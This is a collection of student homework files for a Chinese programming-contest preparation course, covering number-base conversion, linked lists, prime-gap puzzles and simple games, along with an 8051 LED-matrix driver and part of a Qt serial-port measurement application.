gets(bin);
int i,t,len=strlen(bin);
long long dec=0;
//二进制转为十进制
for(i=0;i<len;i++)
dec+=(bin[i]-'0')*pow(2,len-i-1);
//十进制转化为十六进制
i=0;
while(dec!=0){
t=dec%16;
if(t>=0&&t<=9) hex[i++]=t+'0';
else hex[i++]=t-10+'A';
dec/=16;
}
i--;
while(i>=0) printf("%c",hex[i--]);
return 0;
} */
/*
//第二种直接将二进制转化为十六进制 4位二进制相当于一位16进制 还需要借助十进制,这不受位数的限制
#include<stdio.h>
#include<string.h>
#include<math.h>
#define N 101
int main()
{
char bin[N],hex[N/4];
gets(bin);
int i,j,t,k=0,len=strlen(bin);
//每取四位转化为10进制,再转化为一位16进制
for(i=len%4;i<=len;i=i+4)
{
if(i==0) continue; //这里判断i==0是因为当二进制恰好位数位4的整数倍的时候,避免把0赋值给十六进制的数组中
t=0;
for(j=i-1;(j>=i-4)&&j>=0;j--) //j>0作为条件是因为取不到四位的时候 ,其他情况每循环四次,把4位二进制转化为一位十进制
{
if(bin[j]=='0'||bin[j]=='1')
t+=(bin[j]-'0')*pow(2,(i-j-1)%4);
}
if(t>=0&&t<=9) hex[k++]=t+'0';
else hex[k++]=t-10+'A';
}
hex[k]='\0';
puts(hex);
return 0;
}
*/
<file_sep>/2020备战蓝桥/陈富浩/第九次作业/9.1.cpp
#include<stdio.h>
#include<string.h>
#include<math.h>
char a[1000];
double f()
{
scanf("%s",&a);
int len=strlen(a);
if(len==1&&!(a[0]>='0'&&a[0]<='9'))
switch(a[0])
{
case '+':return f()+f();
case '-':return f()-f();
case '*':return f()*f();
case '/':return f()/f();
}
else
{
return atof(a);
}
}
int main()
{
printf("%Lf\n",f());
}<file_sep>/2020备战蓝桥/何永康/第十二次作业/1.cpp
//1、习题---5-1代码对齐(UVa1593)
//输入若干行代码,要求各列单词的左边界对齐且尽量靠左。
//单词之间至少要空一格。每个单词不超过80个字符,每行不超过180个字符
//一共最多1000行。注意输出时每行的最后一列后面没有空格符。
/*#include <iostream> //VC++6.0 可但是用VS2019报错
#include <string>
using namespace std;
int main()
{
char str[10000];
cin.getline(str,10000); //用cin>>str 到空格会截断,,改用cin.getline(str,10000)即可。
const char *split = " ";
char *p2 = strtok(str,split);
while( p2 != NULL )
{
cout<<p2<<endl;
p2 = strtok(NULL,split);
}
}
*/
/*
#include <iostream> //VS2019 可 因为strtok函数声明与using声明引入的strtok冲突
#include <string>
int main()
{
char s[10000];
char* strtok(char s[], const char* split);
std::cin.getline(s, 10000); //用cin>>str 到空格会截断,,改用cin.getline(str,200)即可。
const char* split = " ";
char* p2 = strtok(s, split);
while (p2 != NULL)
{
std::cout << p2 << std::endl;
p2 = strtok(NULL, split);
}
}*/
<file_sep>/2020备战蓝桥/张宇菲/分数求和.cpp
#include<stdio.h>
int yueshu(int x,int y)
{
int t;
if(x<y)
{t=x;x=y;y=t;}
if(x%y==0)
return y;
else
{
t=x%y;x=y;y=t;
yueshu(x,y);
}
}
int beishu(int x,int y,int n)
{
return (x*y)/n;
}
int main()
{
int n,a[20],b[20];
int i,m,fen=0,max;
scanf("%d",&n);
for(i=0;i<n;i++)
scanf("%d%d",&a[i],&b[i]);
max=b[0];
for(i=1;i<n;i++)
{
m=yueshu(max,b[i]);
max=beishu(max,b[i],m);
}
for(i=0;i<n;i++)
fen=fen+a[i]*(max/b[i]);
if(fen<max)
{
if(max%fen==0)
{
fen=fen/(yueshu(max,fen));
max=max/(yueshu(max,fen));
}
printf("%d/%d",fen,max);
}
else if(fen>max&&max!=1)
printf("%d",fen/max);
else if(fen==max||max==1)
printf("%d",fen);
return 0;
}
<file_sep>/2020备战蓝桥/刘诗雨-/第九次作业/9.7.cpp
#include <stdio.h>
int flag;
void Fun(int k,int x)
{
if(k==x)
{
flag=1;
return;
}
if(k>x)
{
flag=0;
return;
}
Fun(k*2+1,x);
Fun(k*3+1,x);
}
int main() {
int k,x;
scanf("%d,%d",&k,&x);
if(k>x)
{
int temp;
temp=k;
k=x;
x=temp;
}
Fun(k,x);
if(flag==1)
printf("YES\n");
else
printf("NO\n");
return 0;
}
<file_sep>/贡献/刘震/java+Cdll+keil51+proteus实现贪吃蛇/51单片机程序及仿真文件/keil用到的文件/19.用C语言给51单片机发送数据实现控制16x16led点阵.c
// 19.用C语言给单片机发送数据实现控制16x16led点阵
#include<reg52.h>
#include<intrins.h> // 包含_nop_()
typedef unsigned char u8;
typedef unsigned int u16;
//用三个引脚操作hc595芯片
sbit dataClk = P2^0;
sbit dataBit = P2^1;
sbit viewClk = P2^2;
// 初始化所有的灯都不亮
u8 led[32]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
u8 code pos[] = {0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01};
// 初始化串口
void set(){
// 设置定时器,波特率选为9600,不加倍
TMOD = 0x20; // 用定时器1,工作方式2,重装八位,0010 0000
TH1 = 0xfd; // 波特率9600
TL1 = 0xfd;
// 不加倍
PCON = 0x00;
// 设置串口工作方式
SCON = 0x50; // 工作方式1,不允许接收 0100 0000;
// 设置中断
EA = 1; // 开放总中断
ES = 1; // 开放串口中断
// 启动定时器
TR1 = 1;
}
// 延时
void delay(u16 time){
while(time--);
}
// 把接收的数据一位一位的发送给串转并芯片,一次发4个字节,
void outHc595(u8 dat1,u8 dat2,u8 dat3,u8 dat4 ){
u8 i;
// 一位字节的串转并
for(i=0;i<8;i++){
dataBit = dat1 >> 7; // 把一个字节的第一个bit位发送给595芯片
dat1 <<= 1; // 这个字节的每个bit位整体左移一位,第二个bit位数值移至第一个bit位
dataClk = 0;
_nop_(); // 等待一个及其周期
_nop_();
dataClk = 1; // 595好像是上升沿有效
}
for(i=0;i<8;i++){
dataBit = dat2 >> 7;
dat2 <<= 1;
dataClk = 0;
_nop_();
_nop_();
dataClk = 1;
}
for(i=0;i<8;i++){
dataBit = dat3 >> 7;
dat3 <<= 1;
dataClk = 0;
_nop_();
_nop_();
dataClk = 1;
}
for(i=0;i<8;i++){
dataBit = dat4 >> 7;
dat4 <<= 1;
dataClk = 0;
_nop_();
_nop_();
dataClk = 1;
}
viewClk = 0;
_nop_();
_nop_();
viewClk = 1;
}
void main(){
u8 i,a = 0x01;
set();
while(1){ // 把接受的数据发送给16x16led点阵
for(i=0;i<8;i++){
outHc595(0x00,pos[i],~led[i],~led[i+16]);
delay(10);
}
for(i=8;i<16;i++){
outHc595(pos[i-8],0x00,~led[i],~led[i+16]);
delay(10);
}
}
}
// 串口中断函数
void Ser() interrupt 4{
static u8 i = 0;
while(RI==0); // 等待接受完毕
RI = 0; // 必须以软件的方式置0,为接受下一个字节做准备
led[i] = SBUF; // 把接受缓冲区的数据取出来赋给用来显示led点阵的数组
i++;
if(i==32)
i=0;
}<file_sep>/2020备战蓝桥/刘震/第十三次作业/13.2模拟双向链表.cpp
/*基于59页双链表实验程序完成63页试验程序功能:建立双向链表,在头部inserttop、尾部insertend、某元素前insertbefore、
某元素后insertback插入数据。删除一个节点remove。查找某元素find。头起遍历链表ttraversal。尾起遍历链表etraversal。
修改某元素的值modify。显示链表长度zize。链表重组reorg。
*/
//单向链表的实现
/*#include<iostream>
#include<malloc.h>
using namespace std;
struct Link {
int data;
Link *next;
};
int main()
{
//现在我要在链表中插入一个数据
//首先要在内存中开辟一段空间,用malloc函数能具体直到开辟大小
Link *p = (struct Link*)malloc(sizeof(struct Link));
Link *head = p;
p->data = 10;
Link *next = (struct Link*)malloc(sizeof(struct Link));
p->next = next;
p = next;
p->data = 12;
cout << head->data << " " << (head->next)->data << endl;
cout << p->data << endl;
free(p);
system("pause");
return 0;
}
*/
//建立双向链表
#include<iostream>
#include<cstdlib>
using namespace std;
struct Link{
Link *front; //指向上一个节点的地址
int data = 0; //数据段,初始化为0
Link *next; //指向下一个节点的地址
};
void inserttop(struct Link *l);//在头部插入一个元素
void insertend(struct Link *l);//在尾部插入一个元素
void insertbefore(struct Link *l);//在某元素前插入一个元素
void insertback(struct Link *l);//在某元素后插入一个元素
void remove(int val);//删除某一个节点,这里是按值删除
Link find(int val);//查找元素
void ttraversal();//头起遍历链表
void etraversal();//尾起遍历链表
void modify(struct Link *l,int val);//修改某一的元素的值 //参数设置的是指向节点的地址,后面是要改变的值
unsigned int size();//返回节点的长度
int k = 0;
Link *fp[100]; //保存动态开辟的内存的指针
Link *Head; //建立首节点
Link *End; //建立尾节点
int cnt = 2; //初始节点为2
int main()
{
//建立双向链表的起点和终点
//为首节点开辟一段内存空间
Head = (struct Link*)malloc(sizeof(struct Link));
fp[k++] = Head;
//首节点的上一个元素可定不存在
Head->front = NULL;
//为尾节点开辟一段内存空间
End = (struct Link*)malloc(sizeof(struct Link));
fp[k++] = End;
//尾节点的最后一个元素坑定也不存在的
End->next = NULL;
//然后把两个节点链接起来
Head->next = End; //首节点的下一个节点是尾节点
End->front = Head; //尾节点的上一个节点是首节点
Head->data = 3;
End->data = 1;
//在头部插入一个元素
Link *p = (struct Link*)malloc(sizeof(struct Link));
fp[k++] = p;
p->data = 100;
inserttop(p);
//测试在某一个节点前插入数据
Link *p1= (struct Link*)malloc(sizeof(struct Link));
fp[k++] = p1;
p1->data = 3;
insertbefore(p1);
ttraversal();
cout << endl;
//etraversal();
//cout << endl;
for (int i = 0; i < k; i++)
free(fp[i]);
system("pause");
return 0;
}
//在头部插入一个元素
void inserttop(struct Link *l)
{
Head->front = l; //把原来头部节点的指向前一个元素的指针指向要插入的节点的地址
l->next = Head; //把新头部的指向下一个节点的指针指向原头部的地址
l->front = NULL; //把新的节点的指向上衣个元素节点的指针置为NULL
Head = l; //把原来作为头部的标识符换成新头部
cnt++;
}
//在尾部插入一个元素
void insertend(struct Link *l) {
End->next = l;
l->front = End;
l->next = NULL;
End = l;
cnt++;
}
//在某元素前插入一个元素
void insertbefore(struct Link *l) {
Link *p = Head;
for (int i = 0; i < cnt; i++) {
if (p->data == l->data) {
if (p == Head) //如果要插入元素数据端正好等于链表头部的数据段,就在链表头部插入
inserttop(l);
else {
//先把下一个顺序调好
(p->front)->next = l; //把元素的前面一个节点的指向下一个节点的指针改成指向要插入的节点的地址
l->next = p; //把插入的节点的指向下一个节点的指针指向要插入的节点的下一个位置
//在把上一个节点调好
l->front = p->front;
p->front = l;
return;
}
}
p = p->next;
}
//防止到最后都没有比较出元素
insertback(l); //把元素插入到最后
cnt++;
}
//在某元素后插入一个元素
void insertback(struct Link *l) {
Link *p = Head;
for (int i = 0; i < cnt; i++) {
if (p->data == l->data) {
if (p == End) //如果要插入元素数据端正好等于链表尾部的数据段,就在链表尾部插入
insertback(l);
else {
//按顺序把指针指向依次调整
l->next = p->next;
p->next = l;
//按逆序把指针指向依次调整
l->front = p;
(l->next)->front = l;
return;
}
}
p = p->next;
}
//防止到最后都没有比较出元素
inserttop(l); //把元素插入到最后
cnt++;
}
//查找元素
Link find(int val) {
Link *p = Head;
for (int i = 0; i < cnt; i++) {
if (p->data == val)
return *p;
}
}
//头起遍历链表
void ttraversal() {
Link *p = Head;
for (int i = 0; i <= cnt; i++) {
cout << p->data << " ";
p = p->next;
}
}
//尾起遍历链表
void etraversal() {
Link *p = End;
for (int i = 0; i < cnt; i++) {
cout << p->data << " ";
p = p->front;
}
}
//修改某一的元素的值
void modify(struct Link *l, int val) {
l->data = val;
}
//返回节点的数量
unsigned int size() {
return cnt;
}
//删除某一个节点,这里是按值删除
void remove(int val) {
Link *pp = Head;
for (int i = 0; i < cnt; i++) {
if (pp->data == val) {
if (pp == Head) {
(pp->next)->front = NULL; //如果要删除的是首元素,只需要把首元素的下一个节点的指向上一个节点的指针置为NULL
}
else if (pp == End) {
(pp->front)->next = NULL; //如果要删除的是尾元素,只需要把尾元素的上一个节点的指向下一个节点的指针置为NULL
}
else {
(pp->front)->next = pp->next;
(pp->next)->front = pp->front;
}
}
}
cnt--;
}<file_sep>/2020备战蓝桥/刘震/第十次作业/10.14搬山游戏.cpp
/*10.14搬山游戏*/
//题目意思就是,我输入多少座山和每次最多能搬多少座,然后我先输入搬山的数目,计算机要搬的数目,此时要用一个随机函数生成计算机要搬的数量
#include<iostream>
#include<cstdlib> //产生随机数
#include<ctime> //随机数用时间作为种子
using namespace std;
int main()
{
cout << " 搬山游戏:输入山的总数和每次最多能搬的数量,在每局结束后继续游戏请输入Y,退出请输入N:" << endl;
int n, k, i, //定义变量n,k 山的总数和每次最大能搬的数目
cntSum = 0, //记录总局数
cntIWin = 0, //记录我赢的次数
cntPcWin = 0; //记录计算机赢的次数
int I_mv = 0, //我每次搬多少
Pc_mv, mvM = 0; //计算机每次搬多少
char key = 'Y'; //作为用户是否继续玩游戏的标记
cin >> n >> k;
srand((unsigned)time(NULL));
while (!(key == 'N' || key == 'n'))
{
cntSum++;
mvM = 0;
for (i = 0; ; i++)
{
while (1)
{
cin >> I_mv;
if (I_mv > k)
cout << "你不能搬这么多,每次上限为" << k << "座山。请重新搬" << endl;
else if (n - mvM - I_mv > 0) break;
else cout << "你搬山的座数不能超过" << k << "座,请重新搬" << endl;
}
mvM += I_mv;
if (n - mvM == 1)
{
cout << "你赢了!" << endl;
cntIWin++;
break;
}
do //防止计算机搬山的数量一下子超过了剩余量
{
Pc_mv = rand() % k;
} while (n - mvM - Pc_mv <= 0);
//判断计算机搬完后是否会剩余一座
mvM += Pc_mv;
cout << "计算机搬了" << Pc_mv << "座山,目前还剩余" << n - mvM << "座。" << endl;
if (n - mvM == 1)
{
cout << "计算机赢了!" << endl;
cntPcWin++;
break;
}
}
cout << "是否继续游戏:";
cin >> key;
}
cout << "一共玩了" << cntSum << "局,你赢了" << cntIWin << "局" << endl;
getchar();
getchar();
return 0;
}<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-5.cpp
#include<iostream>
#include<cstring>
using namespace std;
string str;
char key;
bool T5(int n)
{
int ok;
for(int i=0;i<n;i++)
{
key = str[i];
for(int j=i+1;j<n;j++)
{
if(key == str[j])
{
ok = 0;
break;
}
else
{
ok = 1;
continue;
}
}
if( ok == 1)
return true;
}
return false;
}
int main()
{
cout<<"please input a string:"<<endl;
getline(cin,str);
int len = str.length();
if(T5(len))
cout<<key<<endl;
else
cout<<"no"<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/周鑫鹏/十一次作业/11_4.cpp
#include<iostream>
#include<string>
using namespace std;
int main()
{
string str;
getline(cin,str);int i=0,t=0;
while(str[i]!='\0')
{
if(str[i]>47&&str[i]<58)
t++;
i++;
}
cout<<t<<endl;
return 0;
}<file_sep>/2020备战蓝桥/谭彬智/第十三次作业/13.7.cpp
#include<iostream>
using namespace std;
int main()
{
int n,k;
cin>>n>>k;
int *a=new int[k+1];
int *b=new int[k+1];
for(int i=1;i<=k;i++)
cin>>a[i]>>b[i];
int home=n-k;//n-k*2+k计算得知家庭数在n,k确定后为常数
int people=2;//people_max>=2
for(i=1;i<k;i++)
for(int j=i+1;j<=k;j++)
if(a[i]==a[j]||b[i]==b[j])
people++;
cout<<home<<' '<<people<<endl;
delete []a;
delete []b;
return 0;
}
<file_sep>/2020备战蓝桥/刘震/第十次作业/10.6要发就发.cpp
/*10.6要发就发*/
//思路,先用一个数组把第一行1-1993的素数存起来,在用一个数组把第二行的数存起来
//2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 103 107 109 113 127 131 137 139 149 151
//1 2 2 4 2 4 2 4 6 2 6 4 2 4 6 6 2 6 4 2 6 4 6 8 4 2 4
//觉得有规律可循,然而我并没有发现规律,
//把所有儿子数加起来得1991,也就是说我在儿子数组前面能找到几个和从后面能找到和为1991-1898的就ok了
#include<iostream>
#include<cmath>
using namespace std;
const int maxn = 1993; //素数最多不超过1993
int k = 0; //k用来作为儿子数组的长度
//第一行素数存放的位置
int SuNumber[maxn], SuNumberSon[maxn];
//获得素数组的函数
void get_suNumber();
//计算加和为1991-1898的数
int cnt_Add();
int main()
{
get_suNumber();
cout << cnt_Add();
getchar();
return 0;
}
void get_suNumber()
{
int i, j, t = 0, sign;
int sum = 0;
for (i = 2; i <= 1993; i++) //判断从1-1993
{
sign = 1;
t = sqrt(i);
for (j = 2; j <= t; j++) //这里条件没有设为j*j<=i 或j<=sqrt(i);而是用一个变量t代替sqrt(i)
{
if (i%j == 0) {
sign = 0;
break;
}
}
if(sign)
SuNumber[k++] = i;
}
//获得到儿子数
for (i = 0; i < k - 1; i++)
{
SuNumberSon[i] = SuNumber[i + 1] - SuNumber[i];
sum += SuNumberSon[i];
}
}
//思路:[0]+[k-1]+[k-2]+...+[n]==1991-1898,第二次循环在[0]+[1]+[k-1]+[k-2]+...+[n]==1991-1898,第三次循环...
int cnt_Add()
{
int i, j, total = 1991-1898, sumHead = 0, sumEnd = 0, cnt = 0;
for (i = 0; sumHead <= total; i++)
{
sumHead += SuNumberSon[i];
sumEnd = 0;
for (j = k - 1; sumHead + sumEnd <= total; j--)
{
sumEnd += SuNumberSon[j];
if (sumHead + sumEnd == total)
{
cnt++;
//cout << SuNumber[i] << '-' << SuNumber[j] << endl;
break;
}
}
}
return cnt;
}
<file_sep>/2020备战蓝桥/刘震/第十一次作业/11.7.cpp
#include<iostream>
using namespace std;
int main()
{
int a,b,c,d;
cin>>a>>b>>c>>d;
//cout<<"十进制输出时:"<<a<<' '<<b<<' '<<c<<' '<<d<<endl;
cout<<a<<'\t'<<hex<<b<<'\t'<<oct<<c<<endl;
return 0;
}
//input:
//23 23 23 23
//output:
//23 17 27<file_sep>/2020备战蓝桥/陈富浩/第十三次作业/13.4.cpp
//在原本的二维组外添加一层值为2的起始收缩圈
//可以通过收缩圈来确定面积,圈的收缩以为0重新赋值2来进行
//收缩的条件是在二维数组中,以0为中心的十字架内若有2则把0改为2,以此进行收缩
#include<iostream>
using namespace std;
int main()
{
int a[12][12];
int i,j; //索引
int sum=0; //计数器
//起始收缩圈
for(i=0;i<12;i++)
a[i][0]=2;
for(i=0;i<12;i++)
a[i][11]=2;
for(j=1;j<11;j++)
a[0][j]=2;
for(j=1;j<12;j++)
a[11][j]=2;
//输入数据
cout<<"请输入:"<<endl;
for(i=1;i<11;i++)
for(j=1;j<11;j++)
cin>>a[i][j];
//收缩
//从头到尾,从尾到头,确保收缩到最小
for(i=1;i<11;i++)
{
for(j=1;j<11;j++)
if(a[i][j]!=1)
{
if(a[i-1][j]==2||a[i][j-1]==2||a[i][j+1]==2||a[i+1][j]==2) //十字架判断
a[i][j]=2;
}
}
for(i=10;i>0;i--)
{
for(j=10;j>0;j--)
if(a[i][j]!=1)
{
if(a[i-1][j]==2||a[i][j-1]==2||a[i][j+1]==2||a[i+1][j]==2) //十字架判断
a[i][j]=2;
else
sum++; //计数
}
}
/* for(i=0;i<12;i++) //测试输出
{
for(j=0;j<12;j++
cout<<a[i][j]<<' ';
cout<<endl;
}*/
cout<<sum<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/刘燚杰/十一次作业/11-7.cpp
#include<iostream>
using namespace std;
string s1[100];
string s2[100];
string s[3]={"Rock","Scissors","Paper"};
int T7(int n)
{
if(s1[n] == s2[n])
return 0;
for(int i=0;i<3;i++)
{
if(s1[n] == s[i] && s2[n] == s[i+1])
return 1;
if((s1[n] == s[2] && s2[n] == s[0]))
return 1;
if(s2[n] == s[i] && s1[n] == s[i+1])
return 2;
if((s2[n] == s[2] && s1[n] == s[0]))
return 2;
}
}
int main()
{
int n = 0;//比赛场数
cin>>n;
string s0[1000];
int time = 0;
while(time != n)
{
cin>>s1[time]>>s2[time];
if(T7(time) == 1)
s0[time] = "Player1";
else if(T7(time) == 0)
s0[time] = "Tie";
else if(T7(time) == 2)
s0[time] = "Player2";
time++;
}
for(int i=0;i<n;i++)
cout<<s0[i]<<endl;
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十次作业/10.8.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
void f(int m, int n)
{
int s, a, b;
if (m == 1)cout << '1' << '/' << n;
else if (m%n == 0) { s = m / n; cout << '1' << '/' << s; }
else
{
s = n / m + 1;
cout << '1' << '/' << s << '+';
b = s * n;
a = m * s - n;
f(a, b);
}
}
int main()
{
int m, n;
char b[1];
b[0] = _getch();
m = atoi(b);
cout << m;
b[0] = _getch();
cout << "/";
cin >> n;
f(m, n);
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/曾琳/9-9.cpp
#include<iostream>
using namespace std;
#define maxn 20
char s[maxn], a1[maxn], a2[maxn];
int main() {
while (cin >> s)
{
for (int i = 0; i < 6; i++)//将两个骰子用S[]中的字母染色
{
a1[i + 1] = s[i];
a2[i + 1] = s[i + 6];
}
for (int i = 1; i <= 6; i++)//做标记 不论怎样旋转,每个面和它的对面永远是相对位置不变,第一个骰子的第一面假设染r色,对面染g色,
//则在第二个骰子上找出所有染r色的面,判断它的对面是不是也是g色,如果是的 则将这四个面做上标记
{
if (a1[i] == '*')continue;
for (int j = 1; j <= 6; j++)
{
if (a2[j] == '*')continue;
if (a1[i] == a2[j])
{
if (a1[7 - i] == a2[7 - j])
{
a1[i] = a1[7 - i] = a2[j] = a2[7 - j] = '*';
break;
}
}
}
}
bool flag = true;
for (int i = 1; i <= 6; i++)//判断第一个骰子和第二个骰子的所有标记处是否一致,如果一致 则说明两个骰子的染色方式完全一致
if (!(a1[i] == a2[i]))
flag = false;
if (flag) cout << "TRUE" << endl;
else cout << "FALSE" << endl;
}
return 0;
}
<file_sep>/2020备战蓝桥/黄杨/2.cpp
#include<stdio.h>
#include<string.h>
int main(){
int N,n,k,t,i,j,m;
char a[10005];
int b[10005]={0};
scanf("%d",&N);
while(N--){
scanf("%s",&a);
n=strlen(a);
for(i=0;i<n;i++)
b[i]=0;
k=0;
t=1;
m=0;
for(i=n-1;i>=0;i--){
b[k]+=(a[i]-'0')*t;
t*=2;
m++;
if(m%4==0){
k++;
t=1;
}
}
for(i=0;i<n;i++){
if(b[i]>=10){
switch(b[i]){
case 10 : b[i]='A'; break;
case 11 : b[i]='B'; break;
case 12 : b[i]='C'; break;
case 13 : b[i]='D'; break;
case 14 : b[i]='E'; break;
case 15 : b[i]='F'; break;
}
}
}
for(i=k;i>=0;i--){
if(b[i]!=0){
for(j=i;j>=0;j--){
if(b[j]>=65 && b[j]<=70 )
printf("%c",b[j]);
else printf("%d",b[j]);
}
break;
}
}
if(i==-1) printf("0");
printf("\n");
}
}
<file_sep>/Resistance/serialthread.cpp
#include "serialthread.h"
SerialThread::SerialThread(QObject *parent) : QObject(parent)
{
thread = new QThread(); // 创建一个子线程对象
testWin = new Test(); // 创建一个串口对象
this->moveToThread(thread); // 把本对象放在子线程中
testWin->moveToThread(thread); // 把串口对象放在子线程当中
}
// 单次测量
void SerialThread::singleTest()
{
double R0 = 1, R01 = 2, R1 = 3, R2 = 4, Rx = 5;
QByteArray vis1, vis2;
for(int i = 0; i < 3; i++) // 先发送一组数据,获取第一个电桥的状态
{
testWin->mainWinWrite("00");
qDebug()<< "在向硬件发送数据";
while((vis1 = testWin->mainWinRead()).isEmpty()) //; // 等待硬件电路返回数据
qDebug()<< "等待接收数据" << endl;
}
/*
for(int i = 0; i < 99; i++)
{
for(int j = 0; j < 3; j++)
{ // 发送三次数据,算一组数据
testWin.mainWinWrite("00");
while((vis2 = testWin.mainWinRead()).isEmpty()); // 等待硬件电路返回数据
}
if(vis1 != vis2)
break;
}
*/
emit singleTestDone(R0, R01, R1, R2, Rx);
}
// 多次测量
<file_sep>/2020备战蓝桥/刘震/第十二次作业/12.2Ducci序列.cpp
/*12.2对于一个n元组(a1, a2, …, an),可以对于每个数求出它和下一个数的差的绝对值,得到一个新的n元
组(|a1-a2|, |a2-a3|, …, |an-a1|)。重复这个过程,得到的序列称为Ducci序列,例如:
(8, 11, 2, 7) -> (3, 9, 5, 1) -> (6, 4, 4, 2) -> (2, 0, 2, 4) -> (2, 2, 2, 2) -> (0, 0, 0, 0).
也有的Ducci序列最终会循环。输入n元组(3≤n≤15),你的任务是判断它最终会变成0还是会循环。输入保证
最多1000步就会变成0或者循环。 */
#include<iostream>
#include<cmath>
using namespace std;
const unsigned maxn = 15;
int main()
{
long long judge = 0;
int i, j, k;
int n; //共输入多少组数据
bool bol[maxn]; //用来存储每一组是否为ZERO
int data[maxn][100]; //用来存放每一组数据,其中data[i][0]用来存放这一组输入几个数,后面1-data[i][0]用来存放每组数据
cin >> n;
for (i = 0; i < n; i++)
{
cin >> data[i][0];
for (j = 1; j <= data[i][0]; j++)
cin >> data[i][j];
data[i][data[i][0]+1] = data[i][1]; //每组在加一个数据用来存储每组数据数据的第一位
}
for (i = 0; i < n; i++)
{
for (j = 0; j < 1000; j++)
{
judge = 0;
for (k = 1; k <= data[i][0]; k++)
{
data[i][k] = abs(data[i][k] - data[i][k + 1]); //每一个有效位都更换
//cout << data[i][k]<<" ";
}
//cout << endl;
data[i][k] = data[i][1]; //在把最后一个元素的值变成第二个元素的值,
for (k = 1; k < data[i][0]; k++)
judge += data[i][k]; //如果每一位有效位都是零,那么总和也是0.
if (!judge) break;
}
if (!judge) bol[i] = true;
else bol[i] = false;
}
for (i = 0; i < n; i++)
{
if (bol) cout << "ZERO" << endl;
else cout << "LOOP" << endl;
}
system("pause");
return 0;
}
<file_sep>/2020备战蓝桥/张谦煜/10-6/src/Main.java
import java.util.*;
public class Main {
static ArrayList<Integer> prime = new ArrayList<Integer>();
static ArrayList<Integer> reduce = new ArrayList<Integer>();
public static void main(String[] args) {
prime.add(2);
for(int i = 3;i<=1993;i++)
{
prime.add(i);
int j;
for(j = 2;j<=Math.sqrt(i);j++)
{
if(i%j==0)
{
prime.remove(prime.size()-1);
break;
}
}
if(j==(int)Math.sqrt(i)+1)
reduce.add(prime.get(prime.size()-1)-prime.get(prime.size()-2));
}
int tmp=0;
int result=0;
int minindex =0;
// for(int item:reduce)
// {
// if(tmp==1898)
// {
// result++;
// tmp-=reduce.get(minindex++);
// }
// else if(tmp>1898)
// {
// tmp-=reduce.get(minindex++);
// if(tmp==1898)
// result++;
// }
// tmp+=item;
// }
for(int i = 0;i<reduce.size();i++)
{
tmp=reduce.get(i);
for(int j=i+1;j<reduce.size();j++)
{
tmp+=reduce.get(j);
if(tmp==1898)
{
result++;
break;
}
else if(tmp>1898)
{
break;
}
}
}
System.out.println(result);
}
}
<file_sep>/2020备战蓝桥/周鑫鹏/第九次作业/递归.cpp
#include<stdio.h>
#include<stdlib.h>
int Pell(int n);
int main()
{
int*a,t;int max,m,n;a=(int*)malloc(max*sizeof(int));
printf("²βΚΤΚύΎέΧιΚύ");scanf("%d",&max);
for(int i=0;i<max;i++)
scanf("%d",&a[i]);
for(int j=0;j<=i;j++)
{t=Pell(a[j]);printf("%d\n",t);}
return 0;
}
int Pell(int n)
{
int a;
if(n==1)
a=1;
else
if(n==2)
a=2;
else
a=2*Pell(n-1)+Pell(n-2);
return a;
}
<file_sep>/2020备战蓝桥/郑越/第十次作业/打鱼还是晒网.cpp
//
// main.c
// 打鱼还是晒网
//
// Created by Richard.ZHENG on 2019/12/15.
// Copyright © 2019 Richard.ZHENG. All rights reserved.
//
#include <stdio.h>
#include <string.h>
int dayFrom(char Date[],int year,int month,int day){
int month_day[13]={0,31,28,31,30,31,30,31,31,30,31,30,31};
int month_dayl[13]={0,31,29,31,30,31,30,31,31,30,31,30,31};
int leapYear(int year);
int mday=0;
for(int i=1990;i<year;i++)
{
if((i % 4 == 0 && i % 100 != 0) || i % 400 == 0)
mday=mday+366;
else
mday=mday+365;
}
for(int i=1;i<month;i++)
{
if((i % 4 == 0 && i % 100 != 0) || i % 400 == 0)
mday=mday+month_dayl[i];
else
mday=mday+month_day[i];
}
mday=mday+day;
return mday;
}
int main(int argc, const char * argv[]) {
int year,month,day;
int Day;
char Date[11];//10 or 11
printf("请输入:年-月-日\n");//0000-00-00
gets(Date);
sscanf(Date,"%d-%d-%d",&year,&month,&day);
int dayFrom(char Date[],int year,int month,int day);
Day=dayFrom(Date,year,month,day);
printf("%d\n",Day);
if(Day%5<=3)
printf("打鱼\n");
else
printf("晒网\n");
return 0;
}
<file_sep>/2020备战蓝桥/王浩杰/第十一次作业/11.7.cpp
#include<iostream>
#include<cstdio>
#include<conio.h>
#include<string>
using namespace std;
int main()
{
int n,p,q;
string s1[1], s2[1];
string a[3] = { "Rock", "Scissors", "Paper" };
cin >> n;
for (; n > 0; n--)
{
cin >> s1[0] >> s2[0];
for (int i = 0; i < 3; i++)
{
if (s1[0] == a[i])p = i + 1;
if (s2[0] == a[i])q = i + 1;
}
if (q == p)cout << " Tie" << endl;
else if ((p + q) == 4)
{
if(p>q)cout << " Player1" << endl;
else cout << " Player2" << endl;
}
else if ((p - q + 1) == 0 || (p - q + 1) == 2)
{
if (p > q)cout << " Player2" << endl;
else cout << " Player1" << endl;
}
}
system("pause");
return 0;
}
<file_sep>/Resistance/mainwindow.cpp
#include "mainwindow.h"
#include "ui_mainwindow.h"
MainWindow::MainWindow(QWidget *parent)
: QMainWindow(parent)
, ui(new Ui::MainWindow)
{
ui->setupUi(this);
//qRegisterMetaType<bool>("bool"); //数据类型注册,多线程传参用
qRegisterMetaType<double>("double");
serialThread = new SerialThread(); // 定义串口线程对象
initMainWindow(); // 初始化窗口
// 建立测试完数据给主窗口发送信号请求接收数据
connect(serialThread, SIGNAL(singleTestDone(double,double,double,double,double)), this, SLOT(upDataToTableView(double,double,double,double,double)));
connect(ui->pushButton_startTest, SIGNAL(clicked()), serialThread, SLOT(singleTest()));
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::initMainWindow()
{
